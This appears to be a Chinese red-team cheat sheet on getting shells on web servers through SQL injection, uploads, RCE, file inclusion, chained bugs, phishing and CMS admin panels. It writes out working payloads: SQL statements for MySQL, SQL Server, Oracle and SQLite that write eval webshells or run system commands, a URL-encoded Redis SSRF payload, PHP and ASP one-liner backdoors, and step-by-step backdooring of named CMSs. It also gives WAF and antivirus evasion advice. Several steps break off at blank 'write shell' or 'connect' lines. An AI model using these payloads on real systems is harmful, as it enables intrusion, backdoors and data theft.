按方式分類:
0x01注入getshell:
0x02 上傳 getwebshell
0x03 RCE getshell
0x04 包含getwebshell
0x05 漏洞組合拳getshell
0x06 系統層getcmdshell
0x07 釣魚 getcmdshell
0x08 cms后臺getshell
0x09 紅隊shell競爭分析
0x01注入getshell:
一般前提條件:有權限、知道路徑
MySQL
select 0x3c3f70687020a6576616c28245f504f53545b615d293ba3f3e into outfile '/var/www/html/1.php'
Sql server
存儲過程xp_cmdshell
;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > D:\WWW\2333.aspx' ;--
Oracle
1、創建JAVA包
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual;
2、JAVA權限
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''begin dbms_java.grant_permission( ''''SYSTEM'''', ''''SYS:java.io.FilePermission'''', ''''<<ALL FILES>>'''',''''EXECUTE'''');end;''commit;end;') from dual;
3、創建函數
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual;
URL執行
id=602'||utl_inadd.get_host_name((select LinxRUNCMD('cmd /c dir d:/') from dual))--
postgresql
COPY (select '<?php phpinfo();?>') to '/tmp/1.php';
sqlite3
;attach database 'D:\www\008.php' as tt;create TABLE tt.exp (dataz text) ; insert INTO tt.exp (dataz) VALUES (x'3c3f70687020406576616c28245f504f53545b27636d64275d293b3f3e');
redis
%0D%0Aconfig%20set%20dir%20%2Fvar%2Fwww%2Fhtml2F%0D%0Aconfig%20set%20dbfilename%20shell%2Ephp%0D%0Aset%20x%2022%3C%3Fphp%20phpinfo%28%29%3B%%203F%3E%22%0D%0Asave%0D%0A
PS:oracle成功率受限于與數據庫版本以及注入點
當然注入不一定都能拿到webshell,比如站庫分離。但不管是否站庫分離,只要權限夠能夠執行系統命令,反彈cmdshell 也是不錯的選擇。比如sa權限結合xp_cmdshell 存儲過程,直接執行powershell,反彈到cobalt strike …
0x02上傳getshell:
上傳漏洞對于getshell 還是高頻的,無論是前臺上傳點,還是后臺(通過口令進入、或者XSS到后臺、邏輯漏洞越權)上傳點,當然也有可能要結合一些Web Server的解析漏洞。但像IIS和Apache解析漏洞因為太老,現在成功概率都小很多。 類似直接的上傳漏洞就可以getshell的漏洞,例如IIS PUT上傳、Tomcat PUT 上傳,因為落腳點最終都跟上傳有關系,這個就不單獨去枚舉。 還有一批像一些編輯器(FCK、editor、CKedtor…)存在上傳漏洞可以getshell。這一系列,一般是基于信息收集確定是否存在漏洞,然后進一步利用。(發現漏洞比利用漏洞更藝術)
這個期間可能涉及邏輯繞過、WAF對抗、殺軟繞過、執行層,主要解決四點:
代碼或邏輯問題,可以上傳腳本文件
躲過WAF對腳本文件及上傳內容的校驗
解決落地殺
執行過程,躲過流量監控或者系統層監控 同樣RCE 也需要關注以上后幾點,因為前面的入口場景不同。
- 本地js驗證上傳
- 服務器mime繞過
- 服務器文件頭繞過
- 服務器 filepath上傳
- 雙文件上傳
- %00截斷上傳
- 上傳其他腳本類型
上傳插件
將shell添加到安裝的插件中上傳服務器拿shell。典型如wordpress
修改允許上傳類型
進入網站后臺后找到上傳點發現對上傳有白名單限制,正好又可以添加白名單,可以將腳本格式寫入白名單然后進行上傳。如果容器允許的情況下,嘗試上傳與網站源碼不同類型的腳本格式拿shell
0x03RCE getshell
RCE是統稱,包括遠程代碼執行、遠程命令執行。當然這兩個概念還是有意思的,比如struts2漏洞有的叫命令執行有的叫代碼執行。這都不重要。一般根據觸發點來命名。 Java系的OGNL 表達式注入、EL注入、反序列化 PHP系列的eval 類、偽協議類 代碼執行、system類命令執行 當然反序列化漏洞基本上編程語言都有,除了漏洞利用getshell,用作免殺后門webshell也是一個不錯的思路推薦。 正由于代碼執行的部分結果是執行了系統命令,在命令執行的加持下,可以直接拿到應用或系統的shell,也是正統策略。 根據《2019年Web應用安全年度報告》,高頻系列27個漏洞漏洞(這些漏洞都值得深入分析及利用),大部分為遠程代碼執行,同時RCE系列,Java 組件也占比最大。
列表如下:
Harbor API SQL注入(CVE-2019-19026/CVE-2019-19029)
Thinkcmf任意內容包含遠程代碼執行
泛微E-cology OA數據庫配置信息泄漏
Fastjson遠程拒絕服務
GhostScript遠程代碼執行(CVE-2019-14811)
泛微E-cology OA系統遠程代碼執行
Apache Solr遠程代碼執行(CVE-2019-0193)
FasterXML jackson-databind遠程代碼執行(CVE-2019-14439)
FasterXML jackson-databind遠程代碼執行(CVE-2019-12384)
FasterXML jackson-databind遠程代碼執行(CVE-2019-14379)
Xstream遠程代碼執行(CVE-2019-10173)
致遠OA A8前臺getshell
Apache axis遠程代碼執行
CoreMail未授權訪問接口參數注入
Weblogic遠程代碼執行(CVE-2019-2729)
Weblogic遠程代碼執行(CVE-2019-2725)
Confluence遠程代碼執行(CVE-2019-3398)
Confluence遠程代碼執行(CVE-2019-3396)
Ruby On Rails任意文件讀取(CVE-2019-5418)
Jenkins遠程代碼執行(CVE-2019-1003030)
ColdFusion遠程代碼執行(CVE-2019-7091)
Spring Boot Actuator遠程代碼執行
Drupal8 REST Module遠程代碼執行(CVE-2019-6340)
Jenkins遠程代碼執行(CVE-2019-1003000)
Apache Solr遠程代碼執行(CVE-2019-17558)
Fastjson遠程代碼執行 Jenkins遠程代碼執行(CVE-2019-1003000)
0x04文件包含getwebshell
文件包含,常見JSP、ASPx、PHP 都有包含,但主要還是PHP的包含好用。因為可以包含任意路徑的任意后綴,能控制include類函數的輸入結合系統特性文件或者上傳的文件結合,可以拿到webshell。 JSP包含,默認情況下動態包含WEB路徑下的JSP文件(靜態包含可以包含任意后綴的文本文件,但不支持變量動態賦值暫不說明),2月份的CVE-2020-1938 Tomcat 文件包含漏洞,這個漏洞看上去是包含了任意格式的文件,但其實是因為AJP協議。 更多文件包含冷知識,參考 原貼
.文件包含
可繞過waf拿webshell。借助文件包含躲避waf攔截。一般用來上大馬用
asp 包含代碼
<!--#include file="123.jpg"-->
#調用的文件必須和被調用文件在同一目錄,如果不在同一目錄,用下面的語句:
<!--#include virtual="文件所在目錄/123.jpg"-->
php包含
<?php
include('123.jpg');
?>
命令執行
echo ^<^?php @eval($_POST['cmd']);?^>^ > c:\1.php^<^%eval request("cracer")%^>^ > c:\1.php
# 需要知道網站路徑
0x05漏洞組合拳getshell
繞過既有認證+后臺漏洞
口令猜測是門藝術活,進入后臺多種漏洞的利用,包括前面提到的漏洞常見高危系列,還有一些備份還原、導入導出、 模板編輯等功能。
登錄邏輯繞過、越權類,搞定后臺。進行典型漏洞利用
通過XSS釣到cookie,或者利用CSRF類漏洞“借刀殺人”搞到后臺權限。進行典型漏洞利用。 網站后臺Getshell的方法總結
XXE
XXE漏洞,最理想的狀態就是直接可以代碼執行(類似PHP expert);大多數還是以文件讀取信息收集為主,結合源碼或者配置文件(例如/etc/shadow、tomcat-users.xml等)getshell;還可以通過XXE的SSRF進行隔山打牛式getshell。 當然對于漏洞挖掘來講,無論是xml格式還是json格式的POST數據包都值得多關注下。說不定就有驚喜呢。
SSRF + RCE
原理上SSRF可以結合所有RCE(反序列化、s2、mysql … ;github 搜索SSRFmap、ssrf_proxy)的漏洞進行組合利用,只是我們在平常實例角度用SSRF+redis未授權用的多一些。
任意文件讀取Getshell
正常的一般是通過讀取web.xml 獲取class文件,然后反編譯,找到代碼的一些漏洞。進而拿到系統的權限。當然還有文件讀取加文件上傳的曲折配合(任意文件讀取漏洞的曲折歷程)
0x06系統層getcmdshell
暴力破解的藝術,畢竟錘子開鎖和鑰匙開鎖在入侵角度結果是一樣的。
**常規協議:**SSH、RDP、SMB、VPC、Redis 等中間件類
通過數據庫執行語句獲得了系統shell,對于獲取權限,比sql注入更直接。
設備層:VPN、防火墻,搞定這種邊界設備,單車變摩托。
編輯器漏洞:
低版本的ewebeditor、fckeditor編輯器均有漏洞可以利用。或繞過上傳或結合解析漏洞
服務器解析漏洞:
- IIS 5.x/6.0解析漏洞
目錄解析:x.asp/1.jpg
分號解析:x.asp;.jpg會被解析asp格式
其他文件名:cer,asa,cdx…
IIS 7.0/IIS 7.5/
畸形文件名解析:test.jpg/*.php
- Nginx
-畸形解析漏洞 :test.jpg/*.php(Nginx版本無關,只與配置環境有關)
<8.03空字節代碼執行漏洞 :test.jpg%2500.php
- Apache解析漏洞
Apache解析文件的時候是按照從右向左的方式,test.php.aaa.sss,Apache無法解析.aaa.sss,向左解析到.php,于是test.php.aaa.sss就被解析為php文件
0x07釣魚 getcmdshell
發送釣魚郵件,捆綁的馬,訪問即加載、點擊即執行類的馬。 這一類攻擊一般結合社工,例如借用IT管理員發送或某領導的賬號去發送(所以這時候的郵箱的0day就非常重要了,當然如果在郵箱內部找到類似VPN或者密碼表類,也不需要這么麻煩,一把梭…),可信度就高很多。對于紅隊來講,釣的魚兒還是以IT部門系列為主,普通辦公區的主機權限還需要做更多的工作。
cms后臺getshell
dedecms:
dedecms版本:http://192.168.1.10:8030/data/admin/ver.txt
默認后臺:http://192.168.1.10:8030/dede/
dedecms后臺一般都被修改不好找,可借助google語法:
Powered byDedeCMSV57_GBK_SP2 site:xx.com
一、后臺文件上傳
進入后臺:核心》附件管理》文件式管理器》可直接修改源碼或者上傳shell
寫馬
連接
如果目標“文件式管理器”接口被閹割,也許只是單純的在前端刪除了入口。可以修改js調用:
如果權限被限制無法上傳到upload以外的目錄。通過修改名稱跨越目錄,繞過權限封鎖
二、數據庫執行拿shell
后臺:系統》sql命令行工具》寫shell
寫shell
連接
南方數據、良精、動易
一、數據庫備份(備份圖片馬、備份數據庫)
系統管理》數據庫備份頁面經常被刪除,需要修改js重新調用數據庫備份頁面
1.上傳圖片馬
產品管理》添加產品》上傳圖片馬
2.審查元素,找到圖片馬路徑
如:http://192.168.1.10:8009/UploadFiles/1.jpg
3.開始備份
注意點:
1.如果附加了asa無法訪問,嘗試刪除asa訪問。解析即可。
2.如果出現文件頭為database、jet db。表示實際備份的還是數據庫,我們提交的圖片馬并沒有備份到。這里嘗試添加管理員將shell寫進數據庫。然后再備份即可。這如果長度有限制,可以在審查元素修改maxlength或者抓包
3.如果數據庫路徑…/Databases/0791idc.mdb框無法修改。嘗試審查元素或者burp改包
4.備份目錄不用管
二、配置插馬
三、修改上傳類型突破上傳
四、雙文件突破上傳
五、修改editor/admin_style.asp
ecshop
1.sql語句寫shell
2.修改文件
庫項目管理》配送方式
連接:http://192.168.1.10:8103/myship.php
3.前臺getshell
http://192.168.1.10:8103/user.php》刷新抓包》發送repeater:
會在網站根目錄下生成1.php一句話木馬,密碼1337
wordpress上傳插件
安裝插件》上傳插件》插件馬(正常插件+大馬壓縮包)》上傳成功
phpmyadmin寫shell
phpmyadmin 常見路徑:phpmyadmin、pma、pmd、pm、phpmyadmin+版本號。或者端口號搭建888/999/8888/777。可嘗試爆破登錄:
尋找網站根目錄
1.找mysql安裝目錄
2.根據mysql安裝路徑推理出apache配置文件(記錄了網站根目錄)
3.使用某個數據庫,創建一個表用來讀取apache的配置文件
如果有waf會攔截不讓導shell
1.找免殺馬
2.開啟外聯
3.通過遠程地址鏈接mysql服務器導入一句話
如果導出函數into outfile 被禁用
1.生成日志getshell
genaeral log設置為on,備份genaeral log file路徑后修改為我們要導的shell路徑。然后執行帶有一句話的sql語句寫入日志文件,成功getshell。完成后記得還原genaeral log file路徑
備份路徑:genaeral log file:D:\SOFT\webbuild\php\MySQL\data\DESKTOP-CCDQEGR.log
執行:select “<?php phpinfo();?>”
寫入成功:http://localhost/xxx.php
kesion cms
科迅cms需要使用ie低版本瀏覽器
一、添加上傳類型
這里會回顯文件名不合法。但是實際上已經上傳成功(部分版本)
aspcms
1.插件管理,界面風格修改asp文件
2.擴展功能,數據庫備份
3.配置插馬
幻燈片設置
SD cms
1.上傳設置,添加腳本類型(大小寫替換)
2.界面,模板管理,點擊sdcms_index.asp,插入一句話到首頁
phpcms
1.界面,模板風格,詳情列表,修改腳本格式文件
2.phpsso(沒有這個界面的話調用js),系統設置,ucenter設置,插馬
連接:
3.內容,專題,添加專題
<
添加專題1
添加專題2
擴展設置,專題模板。value值設置為:
提交,提交完成后會在根目錄生成0.php后門文件
metinfo
1.安裝插件getshell
2.安全》備份與恢復》數據庫備份》下載》打開sql文件》合適的地方輸入語句:
》重新壓縮》刪除之前備份文件》上傳修改之后的數據庫備份文件》導入:執行sql語句》生成shell
3.<6.0,直接訪問:
在upload目錄下生成index.php的一句話:
連接:192.168.1.10/upload/index.php
discuz
管理后臺:
1.站長,uccenter設置,插馬,待復現。參考
https://paper.seebug.org/1144/#2-ucketdz
帝國cms
1.系統》數據表與系統模型》管理數據表》管理系統模型》導入系統模型》上傳1.php.mod》會在當前目錄下生成一句話co.php:
連接:http://192.168.1.10:8111/e/admin/co.php
2.帝國備份王getshell
phpmywind
1.網站信息設置》附件設置,添加允許上傳類型getshell
2.網站信息設置》增加新變量
》提交》基本設置:1;@eval($_POST[a])
》提交>連接:http://192.168.1.10:8112/admin/default.php
新版本過濾分號無法連接:慎重插馬
phpweb
1.前臺直接上傳
https://blog.csdn.net/weixin_44508748/article/details/105671332
2.后臺編輯器
產品》修改》
連接:http://192.168.1.12/phpweb/3151/product/pics/20200628/202006281593274850595.php
0x08紅隊shell競爭分析
拼信息收集,漏洞點,別人找不到,我找的到(例如移動端、物聯網等接口信息,當然這種shell,一般距離核心應用可能也遠一些);
拼利用速度,自動化一條龍(基本屬于日常漏洞和工程化的積累);
拼0day (VPN — Mail — OA — java組件 — CMS — 關鍵設備 );
拼細節漏洞,組合利用。(這是一篇“不一樣”的真實滲透測試案例分析文章 )
以上為本次所感所想,當然除了這種按照漏洞類型大類去分類,還有一些具體的漏洞也可以直接getshell,本次分析意義,就是在沒有思路的時候,有個相對體系性思考框架。畢竟儲備充足才會看上去像運氣一樣水到渠成,其實都是局部真相。
引用參考:
https://www.isolves.com/it/aq/hk/2020-08-12/27894.html
https://blog.csdn.net/weixin_44508748/article/details/107009450